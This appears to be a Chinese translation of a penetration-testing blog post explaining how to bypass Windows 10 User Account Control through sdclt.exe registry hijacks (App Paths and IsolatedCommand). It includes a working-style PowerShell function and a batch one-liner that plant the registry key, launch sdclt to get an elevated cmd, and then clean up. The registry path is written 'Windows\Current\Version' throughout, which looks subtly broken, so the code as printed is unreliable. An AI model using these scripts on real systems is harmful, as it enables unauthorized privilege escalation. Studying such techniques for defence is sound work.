sdclt 的 autoelevate被设置为true
Matt Nelson发现了两种可以允许用户在Windows 10环境中绕过UAC的方法。 这两种方法都需要构建一个特定的注册表结构,但它们彼此并不相同,因为其中一个方法可以采用命令参数,而另一个方法将执行二进制文件的完整路径。
应用路径
备份和还原操作是控制面板的一部分。 这意味着当sdclt.exe进程启动时,控制面板也会启动。 该二进制文件被设计为以高完整性的进程运行:
sdclt – 高完整性进程
另外sdclt在启动时会在注册表中查找以下位置。
HKCU\Software\Microsoft\Windows\Current\Version\App Paths\control.exe
然而这个路径并不存在,因此,一个攻击者可以创建这个注册项路径就可以执行指定的 payload,而且是以一个高完整性的进程启动,从而绕过了UAC。
sdclt – 注册项路径并不存在
应用程序路径 – 绕过UAC的注册项
下一次启动 sdclt.exe,则会运行并打开已经提升过权限的cmd:
sdclt – 已经提升过权限的cmd
无文件的实现
还有另一种方法可以通过sdclt来绕过UAC,可以使用命令参数而不是二进制程序的完整路径。 具体来说是这样的,当使用“kickoffelev”执行sdclt时,将会在注册表中执行检查,目的是找到以下路径:
HKCU\Software\Classes\exefile\shell\runas\command\IsolatedCommand
默认情况下,此路径并不存在,因此可以手动构造这个路径,然后就可以执行cmd了:
Sdclt 无文件绕过UAC – Isolated Command 注册表项
当sdclt再次使用/kickoffelev参数执行时,它会发现IsolatedCommand注册表项是存在的,然后它就会执行权限提升,然后打开cmd。
sdclt 无文件的实现– 已经绕过UAC的cmd
PowerShell的实现
可以使用以下PowerShell脚本来自动执行此绕过过程,该脚本是为pentestlab的博客而编写的,它实际上是Matt Nelson 编写的AppPathBypass脚本的简化版本。
具体的代码如下,或者你也可以在GithubGist 仓库中找到:
function SdcltUACBypass(){
Param (
[String]$program = "C:\Windows\System32\cmd.exe" #default
)
#Create Registry Structure
New-Item "HKCU:Software\Microsoft\Windows\Current\Version\App Paths\control.exe" -Force
Set-ItemProperty -Path "HKCU:Software\Microsoft\Windows\Current\Version\App Paths\control.exe" -Name "(default)" -Value $program -Force
#Start sdclt.exe
Start-Process "C:\Windows\System32\sdclt.exe" -WindowStyle Hidden
#Cleanup
Start-Sleep 3
Remove-Item "HKCU:Software\Microsoft\Windows\Current\Version\App Paths\control.exe" -Recurse -Force
}
利用sdclt绕过 UAC的PowerShell脚本
Matt Nelson 为这两种绕过方式都开发了对应的 PowerShell 脚本 ,用于演示绕过UAC。
应用程序路径 –通过PowerShell实现的UAC绕过
无文件绕过 UAC – sdclt – PoweShell
命令提示符和记事本程序将以与sdclt相同的权限级别启动运行,这意味着它们的进程将以完全级别设置为“高”的进程运行,最终就绕过了用户帐户控制(UAC)。
sdclt – cmd 和 notepad 程序会作为一个高完整性的进程运行
UACME
现在要说的这种绕过方式是 UACME 项目的第31个绕过方式:
sdclt –利用 UACME 绕过UAC
批处理文件
也可以通过.bat 文件执行此绕过方式:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\App Paths\control.exe" /f